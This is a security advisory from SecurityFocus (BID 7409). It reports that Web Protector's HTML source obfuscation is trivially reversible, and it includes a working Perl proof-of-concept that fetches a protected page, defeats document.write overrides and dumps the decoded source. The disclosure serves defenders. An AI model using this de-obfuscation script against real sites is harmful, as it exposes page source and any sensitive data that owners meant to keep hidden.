source: https://www.securityfocus.com/bid/7409/info

Web protector has been reported prone to a trivial encryption weakness.

It has been reported that the method used to obfuscate and protect the HTML source of web pages implementing Web Protector is flawed and may be easily reversed.

This weakness may be exploited to disclose sensitive information contained in HMTL source or to reveal the HTML source itself. Due to the nature of web based obfuscation Sensitive information should never be included in the source of an obfuscated document.

Administrators may be relying on a false sense of security by implementing the protection supplied by Web protector.

It should be noted that although this weakness has been reported to affect Web Protector version 2.0, previous versions are most likely also affected. 

use URI::Escape;
require HTTP::Request;
use LWP::UserAgent;


# Define the page we want to see the HTML source
$html_page = "http://www.protecthtml.com/product/wp/sample21.htm";

$ua = LWP::UserAgent->new;
$request = HTTP::Request->new(GET => $html_page );
$response = $ua->request($request);
if ($response->is_success) {
         $encrypted_html =$response->content;
} else {
        print $response->error_as_HTML;
        exit(0);
}

# Some try to overwrite document.write by doing something like
#       document.write = null;
# so we're going to search the source code for any document.write=
# or its escaped version which is:
#       %64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%3D
$encrypted_html =~ s/document.write[ ]*=(.*)\;/void_var=$1/i;

# -- this is all on the same line --
$encrypted_html =~
s/%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65(%20)*(%3D)(.*)
\;/void_var=$3/i;

# All scripts have to use a document.write to write the decrypted HTML
# to the browser window so all we're going to do is add a <PLAINTEXT>
# tag to make sure that the derypted html is not decoded by the browser
# and instead we see the source code!
# -- this is all on the same line --
$encrypted_html =~ s/document.write[
]*\((.*?)
\)/document.write\(\\\"<PLAINTEXT>\\\"+$1+\\\"<\/PLAINTEXT>\\\"\)/gi;

# -- this is all on the same line --
$encrypted_html =~
s/%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65(%20)*%28(.*?)%
29/document.write\(\\\"<PLAINTEXT>\\\"+$2+\\\"<\/PLAINTEXT>\\\"\)/gi;

open(OUT,">clear_text.html");
print OUT $encrypted_html;

# Some LAME tools don't even try to encrypt the pages they just URL encode
everything
print OUT "<p> Let us try just to Unescape the source! <PLAINTEXT>";
print OUT uri_unescape($response->content);
close(OUT);